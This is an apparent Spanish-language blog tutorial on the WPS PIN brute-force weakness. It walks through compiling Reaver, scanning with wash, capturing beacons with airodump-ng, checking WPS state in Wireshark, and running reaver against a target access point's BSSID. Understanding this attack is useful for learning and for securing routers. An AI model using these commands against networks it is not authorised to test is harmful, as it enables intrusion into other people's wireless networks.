Reaver es una herramienta que permite realizar ataques de fuerza bruta contra puntos de acceso que tienen activado el WPS (Wifi Protected Setup), se trata de un mecanismo que es, al día de escribir este articulo, uno de los más efectivos que hay contra WPA-PSK. Esto probablemente el lector ya lo sabe, sin embargo, el objetivo de esta publicación no es solamente conocer esta herramienta y las opciones que tiene disponibles, sino también comprender un poco mejor en que consiste esta vulnerabilidad y como efectivamente afecta a un AP.

Para comenzar, es importante tener presente que la mayoría de los AP normalmente tienen WPS activado por defecto y que en la mayoría de los casos, es necesario desactivarlo manualmente para evitar que el AP sea un objetivo vulnerable, pero, que es WPS? Se trata de un estándar definido para la creación de redes WLAN seguras, la filosofía de este estándar es la de brindar mecanismos que faciliten la interacción de los clientes con dichas redes, poniendo a su disposición un elemento llamado el Registar que se encarga de facilitar las credenciales necesarias para llevar a cabo el proceso de autenticación, pueden existir varios Registar en un segmento de red y pueden ser cualquier entidad, cliente o AP. Las entidades que participan en este procedimiento pueden ser:

Registar: Que como ya se ha dicho, es la entidad que tiene la responsabilidad de generar o revocar las credenciales de la red

Enrolle: Se trata simplemente de un cliente que solicita acceso a la red a un Registar

Authenticator: Se trata de un AP que funciona de proxy entre un Enrolle y un Registar.

Ahora bien, este mecanismo tiene una vulnerabilidad severa que actualmente solamente puede ser mitigada desactivando WPS en el router, consiste en que un atacante por medio de un ataque de fuerza bruta pueda recuperar el PIN WPS el cual le permitirá posteriormente obtener la PSK de la red WPA/WPA2 y evidentemente ejecutar el procedimiento de autenticación.

En primer lugar, se necesita descargar e instalar Reaver, que se encuentra ubicado en: http://code.google.com/p/reaver-wps/downloads/list a la fecha de escribir este articulo se encuentra en la versión 1.4. Se debe descargar y descomprimir el fichero tar.gz y posteriormente compilar

./configure

>make

Opcionalmente, se puede ejecutar el comando make install para que se creen los enlaces simbólicos en el sistema y pueda ejecutarse desde cualquier ubicación en una consola sin necesidad de dirigirse al directorio donde se ha compilado.

Uno de los primeros pasos que pueden llevarse a cabo con reaver, es ejecutar la utilidad wash que es una herramienta para escanear dispositivos con WPS habilitado

>./wash -h

Wash v1.4 WiFi Protected Setup Scan Tool

Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

Required Arguments:

-i, –interface=<iface> Interface to capture packets on

-f, –file [FILE1 FILE2 FILE3 …] Read packets from capture files

Optional Arguments:

-c, –channel=<num> Channel to listen on [auto]

-o, –out-file=<file> Write data to file

-n, –probes=<num> Maximum number of probes to send to each AP in scan mode [15]

-D, –daemonize Daemonize wash

-C, –ignore-fcs Ignore frame checksum errors

-5, –5ghz Use 5GHz 802.11 channels

-s, –scan Use scan mode

-u, –survey Use survey mode [default]

-h, –help Show help

Example:

./wash -i mon0

Para ejecutar esta aplicación, se debe crear una interfaz en modo monitor, esto se puede hacer fácilmente utilizando airmon-ng

>./wash -i mon0 -c 3 -s -C

En este caso, se realizará un escaneo de dispositivos con WPS activado en el canal 3, las opciones -s y -C permiten ejecutar el herramienta en modo de escaneo e ignorar los FCS respectivamente.

Ahora bien, una de las formas más comunes para determinar si un AP determinado tiene WPS activado y es vulnerable es simplemente capturando los beacon frames de un AP objetivo y posteriormente visualizar los paquetes capturados desde wireshark, por ejemplo

>airodump-ng –bssid XX:XX:XX:XX:71:8B –beacons -w wps-testing mon0

Posteriormente, el fichero wps-testing.cap generado, puede ser abierto con wireshark y buscar el parámetro correspondiente a WPS, tal como se enseña en la siguiente imagen.

Además de esto, también tiene que encontrarse configurado (valor 0x02) tal como se enseña en la siguiente imagen:

En resumen, es necesario que se encuentre el parámetro Vendor Specific: Microsoft : WPS y dentro de este parámetro debe existir el valor Wifi Protected Setup State: Configured (0x02) que indica que se encuentra activado en el AP.

Ahora, es posible ejecutar reaver con una probabilidad de éxito aun mayor, ya que probablemente el AP sea vulnerable.

>./reaver -b 64:68:0C:45:71:8B -i mon0 -v

Este procedimiento puede llevar algunas horas en finalizar, dado que en realidad, es un ataque de fuerza bruta tratando de determinar cual es el PIN adecuado para dicho AP, así que es necesario tener un poco de paciencia a que el ataque se complete.